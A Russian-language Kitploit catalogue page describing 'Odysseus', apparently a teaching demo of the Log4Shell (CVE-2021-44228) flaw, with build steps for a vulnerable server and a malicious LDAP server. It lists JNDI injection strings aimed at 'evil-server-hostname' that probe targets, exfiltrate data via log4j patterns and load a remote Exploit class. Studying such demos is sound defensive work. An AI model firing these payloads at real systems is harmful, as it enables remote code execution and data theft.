Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Odysseus — Демонстрация уязвимости Log4Shell (CVE-2021-44228). | Kitploit
Инструменты/GitHubGitHub/roshanshibu/odysseus
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийКомандование и УправлениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubroshanshibu/odysseus

Odysseus

Демонстрация уязвимости Log4Shell (CVE-2021-44228).

Репозиторий
2 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Odysseus

Демонстрация уязвимости Log4Shell (CVE-2021-44228).

Инструкции по сборке

Уязвимый веб-сервер и вредоносный LDAP-сервер были собраны и протестированы на JDK 1.8.0_181.

Веб-сервер хороших парней

  1. Внутри goodguys выполните gradlew bootJar
  2. Запустите уязвимый веб-сервер с помощью java -jar build/libs/goodguys-0.0.1-SNAPSHOT.jar

LDAP/веб-сервер плохих парней

  1. Внутри badguys выполните mvn package
  2. Запустите вредоносный сервер с помощью java -jar .\target\evil-server.jar

Примечание: Защитник Windows может незаметно переместить target\classes\Exploit.class в карантин.

Вредоносная нагрузка

Вредоносные команды определены в Exploit.java.

Триггер инъекции

InputRemarks
${jndi:ldap://evil-server-hostname:389/Recon}Проверяет, уязвима ли цель, ожидая запрос на подключение к LDAP-серверу.
${jndi:ldap://evil-server-hostname:389/Recon [log4j Pattern Layout(s)]Добавьте любые допустимые шаблоны log4j Pattern Layout для сбора данных с цели и отображения их в терминале атакующего.
${jndi:ldap://evil-server-hostname:389/Exploit}

Ссылки

https://securityboulevard.com/2019/01/exploiting-jndi-injections-in-java/ https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/PatternLayout.html
https://www.ibm.com/blog/how-to-detect-patch-log4j-vulnerability/

Скачать инструмент
Запустить нагрузку.